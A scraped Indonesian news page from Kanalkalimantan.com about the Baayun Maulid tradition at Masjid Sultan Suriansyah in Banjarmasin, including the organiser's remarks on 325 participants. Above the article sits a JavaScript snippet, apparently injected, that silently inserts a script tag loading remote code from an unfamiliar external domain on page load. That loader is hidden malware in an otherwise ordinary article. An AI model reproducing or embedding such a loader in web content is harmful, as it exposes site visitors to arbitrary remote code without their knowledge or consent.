(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Tradisi Baayun Maulid terus dipertahankan oleh sebagian masyarakat Banjar.
Masjid Sultan Suriansyah yang terletak di Kuin Utara Kecamatan Banjarmasin Utara, Kota Banjarmasin, Kalimantan Selatan (Kalsel), masih menggelar tradisi yang digelar setiap Rabiul Awwal, bulan peringatan Maulid Nabi Muhammad SAW.
Masjid tertua di Kalsel itu akan melaksanakan acara Baayun Maulid pada Senin (16/9/2024) tepat 12 Rabiul Awwal 1446 Hijriah.
Panitia Baayun Maulid, Kautsar mengatakan, hingga ditutupnya pendaftaran, peserta Baayun Maulid di Masjid Sultan Suriansyah yang terdaftar sebanyak 325 orang.
Baca juga: “Seribu Burdah” Aditya-Habib Abdullah Selama Bulan Maulid
Baca juga : BPK Murung Kenanga Juara Lomba Ketangkasan Se-Kabupaten Banjar, Ini Daftar Juara
Selain berasal dari anak-anak, peserta Baayun Maulid tahun ini menurutnya juga ada dari lansia.
“Yang daftar, paling muda anak umur 10 hari, dan yang paling tua umur 66 tahun,” ungkapnya, Sabtu (14/9/2024) siang
Masih lanjut Kautsar, dua hari jelang kegiatan, secara teknis persipan teknis acara Baayun Maulid sudah hampir rampung.
Berbagai perlengkapan seperti tenda dan rangkaian bambu untuk penyangga ayunan sudah terpasang. Tinggal dihias sedemikian rupa.
Biasanya, berbagai hiasan aksesoris yang diletakan pada ayunan seperti anyaman daun kelapa, buah-buahan, uang kertas, kembang, hingga beragam wadai Banjar.
“Nanti peserta yang menghiasi sendiri ayunannya,” ujar Kautsar.
Baca juga: Petahana Mulai Cuti 25 September, Banjarbaru akan Dipimpin Pjs Wali Kota
Pada kegiatan Baayun Maulid tahun 2024 ini, panitia juga menyediakan berbagai macam hadiah kepada para peserta yang beruntung dengan cara diundi.
Panitia sekaligus pengurus Masjid Sultan Suriansyah ini menjelaskan bahwa kegiatan Baayun Maulid rutin dilaksanakan setiap tahun saat bulan Rabiul Awwal.
Menurut Kautsar, para peserta yang mengikuti Baayun Maulid biasanya keluarga yang ingin mengenalkan anaknya dengan tradisi dan mengenalkan syair-syair maulid sejak dini.
“Ada yang rutin ikut, ada juga yang nazar sendiri, misalnya waktu belum punya anak niatnya waktu punya anak baayun maulid terus dikabulkan, lalu anaknya diiikutkan baayun,” ujar Kautsar.
Untuk diketahui, selain untuk melestarikan melestarikan tradisi Banjar, Baayun Maulid juga punya nilai spiritual yang kuat di dalamnya.
Baayun Maulid biasanya diiringi oleh tabuhan terbang dan syair-syair sholawat puji-pujian kepada Nabi Muhammad SAW. (Kanalkalimantan.com/rizki)
Reporter: rizki
Editor: bie
KANALKALIMANTAN.COM, MARTAPURA - Pengurus Lembaga Pengembangan Tilawatil Quran (LPTQ) Kabupaten Banjar melakukan audiensi ke Pjs… Read More
KANALKALIMANTAN.COM, MARABAHAN - Sejumlah pernyataan kontroversial dalam perhelatan debat publik kedua tiga pasangan calon (Paslon)… Read More
KANALKALIMANTAN.COM, BANJARBARU – Sejumlah Tempat Pemungutan Suara (TPS) di Kota Banjarbaru masuk pemetaan potensi kerawanan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Kurang satu pekan menjelang hari pencoblosan Pilkada Serentak 2024, Komisi Pemilihan Umum… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Sejumlah kios pedagang di pasar tradisional A Yani Banjarmasin hangus akibat kebakaran.… Read More
KANALKALIMANTAN.COM, BANJARBARU – Kepolisian Daerah (Polda) Kalimantan Selatan (Kalsel) melalui Direktorat Reserse Narkoba (Ditresnarkoba) gagalkan… Read More
This website uses cookies.